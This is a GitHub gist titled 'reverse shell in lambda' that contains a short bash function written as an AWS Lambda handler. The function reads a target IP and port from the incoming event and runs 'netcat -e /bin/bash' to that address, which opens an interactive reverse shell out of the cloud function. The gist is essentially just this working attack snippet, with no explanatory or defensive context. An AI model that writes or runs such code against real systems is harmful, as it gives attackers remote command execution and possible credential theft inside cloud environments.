Skip to content

Instantly share code, notes, and snippets.

@keithrozario
Created August 25, 2019 13:34
Show Gist options
  • Save keithrozario/edc67f48c07c7cfd1ad6840a86708847 to your computer and use it in GitHub Desktop.
Save keithrozario/edc67f48c07c7cfd1ad6840a86708847 to your computer and use it in GitHub Desktop.
reverse shell in lambda
handler () {
set -e
EVENT_JSON=$(echo $1 | jq .)
IP=$(jq -r '.ip' <<< "${EVENT_JSON}")
PORT=$(jq -r '.port' <<< "${EVENT_JSON}")
echo "Creating reverse shell to $IP:$PORT"
netcat -e /bin/bash $IP $PORT
echo "{\"success\": true}" >&2
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment